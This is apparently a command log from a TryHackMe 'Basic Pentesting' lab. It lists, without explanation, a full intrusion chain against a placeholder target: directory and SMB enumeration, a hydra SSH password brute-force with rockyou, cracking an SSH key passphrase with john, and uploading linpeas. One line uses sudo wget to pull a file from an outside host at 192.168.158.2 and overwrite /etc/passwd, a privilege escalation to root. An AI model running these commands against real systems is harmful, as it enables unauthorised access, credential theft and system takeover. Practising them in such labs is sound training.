gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt
enum4linux -a TARGET_IP
smbclient //TARGET_IP/Anonymous -N ls get staff.txt exit
hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 ssh://TARGET_IP
ssh2john kay_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt john --show hash
ssh -i kay_rsa kay@TARGET_IP
ssh-keygen -y -f kay_rsa
file kay_rsa
head -n 5 kay_rsa tail -n 5 kay_rsa
cat -A kay_rsa
xxd -g 1 -l 40 kay_rsa
which linpeas ls -l /usr/bin/linpeas cat /usr/bin/linpeas ls -lah /usr/share/peass/linpeas
scp /usr/share/peass/linpeas/linpeas.sh jan@TARGET_IP:/tmp/ scp jessie@TARGET_IP:~/Documents/user_flag.txt . scp jessie@TARGET_IP:~/Documents/user_flag.txt ~/thm/basicpentesting/
find . -name "user_flag.txt" find / -name "user_flag.txt" 2>/dev/null find / -type f -name "user_flag.txt" 2>/dev/null find / -type f -iname "user_flag.txt" 2>/dev/null
wget http://TARGET_IP/development/dev.txt wget -O kay_rsa http://TARGET_IP/path/to/id_rsa
curl -O http://TARGET_IP/development/dev.txt
./linpeas.sh | tee linpeas-output.txt
ls -lh linpeas-output.txt less linpeas-output.txt
grep "sudo" linpeas-output.txt grep -i "sudo" linpeas-output.txt grep -ni "sudo" linpeas-output.txt grep -ni -C 3 "sudo" linpeas-output.txt grep -niE "sudo|wget" linpeas-output.txt grep -niE -C 3 "sudo|wget" linpeas-output.txt
sudo wget http://192.168.158.2:8000/passwd -O /etc/passwd
pwd ls cat staff.txt